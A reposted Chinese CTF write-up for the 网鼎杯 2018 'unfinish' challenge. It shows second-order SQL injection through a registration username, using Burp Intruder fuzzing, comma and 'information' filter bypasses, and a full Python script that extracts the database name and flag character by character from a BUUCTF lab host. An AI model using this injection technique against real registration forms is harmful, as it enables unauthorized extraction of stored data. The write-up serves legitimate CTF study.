自学内容网 自学内容网

网鼎杯-2018-unfinish解题方法

BUUCTF在线评测这里可以解题无需搭建

进入这题后我们会得到这样一个界面

这里我们会发现登录不进去也没有注册界面以及源码,这里我们需要获取它其他的一些界面找注入机会,这里有两种方式找其他界面,一种是猜这里是登录界面那么必定就会有注册界面一般注册界面的名字无非就是reg.php,register.php这是register.php界面当然这种就是靠运气和我们的经验了。第二种是用扫描器去扫,但是这种方式在比赛里通常是不允许的,

 这里我们先随便注册一个用户登录一下

 

登录进去后我们发现只有用户名是可见的,所以我们尝试在用户名进行注入

 这里我们发现注册不了所以可以推断出这里有限制字符所以我们使用burp suite来测出它的限制字符

这里将包发送到intruder中

在username中添加payload的插入点

使用字典来测出限制字符

这里你也可以自己写字典或者从GitHub上找

这里测试出限制了,和information

限制了information和,所以这里我们采用select ’0‘+text+‘0’的语句注入

在mysql中+只是一个运算符所以我们可以用此方式来获取数据库的ascii码值当然这里也可以使用16进制的方式但要注意的一点是如果hex值过长需要进行截断以及如过算出的hex值是字符会被截断因此需要两次16进制转化。

,的问题我们通过from for的方式来替换

 

然后就可以进行注入了

这里我使用一个python脚本进行注入

import requests
import time
from bs4 import BeautifulSoup  # html解析器
# 这是是一个框架,如果你没有下载的话需要下载,是一个爬虫的框架用于精准获取页面的各个数据
# pip install BeautifulSoup(如果你是python3的话则是BeautifulSoup4)


# 这里是注入出库名,一般库名都是在10个字节以内如果数据库超过10字节则更改循环的次数
def getDatabase():
    database = ''
    # 定义一个变量来记录库名
    for i in range(10):
        data_database = {
            'username': "0'+ascii(substr((select database()) from " + str(i + 1) + " for 1))+'0",
            # 这里是注入语句
            'password': 'admin',
            "email": "admin11@admin.com" + str(i)
        }
        # 注册
        requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/register.php", data_database)
        # 通过requests.post函数来访问并将data_database的数据放入

        login_data = {
            # 这里是登录
            'password': 'admin',
            "email": "admin11@admin.com" + str(i)
        }
        response = requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/login.php", login_data)
        html = response.text  # 返回的页面
        soup = BeautifulSoup(html, 'html.parser')
        # 获取界面的各个数据

        getUsername = soup.find_all('span')[0]  # 获取用户名如果界面内有多个span则以更改后面的数字来获取,从0开始
        username = getUsername.text
        if int(username) == 0:
            break
        database += chr(int(username))
    return database

# 获取flag
def getFlag():
    flag = ''
    for i in range(60):
        # 这里也是猜测flag的值是在60为以内,如果超了需要更改
        data_flag = {
            'username': "0'+ascii(substr((select * from flag) from " + str(i + 1) + " for 1))+'0",
            'password': 'admin',
            "email": "admin32@admin.com" + str(i)
        }
        # 注册
        requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/register.php", data_flag)
        login_data = {
            'password': 'admin',
            "email": "admin32@admin.com" + str(i)
        }
        response = requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/login.php", login_data)
        html = response.text  # 返回的页面
        soup = BeautifulSoup(html, 'html.parser')
        getUsername = soup.find_all('span')[0]  # 获取用户名
        username = getUsername.text
        if int(username) == 0:
            break
        flag += chr(int(username))
    return flag


print(getDatabase())
print(getFlag())

 这里我只注入出了数据库名和flag没有对其他表名进行注入因为会很麻烦其次一般比赛通常也是放着flag中的


原文地址:https://blog.csdn.net/Lemon_miko/article/details/138254270

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!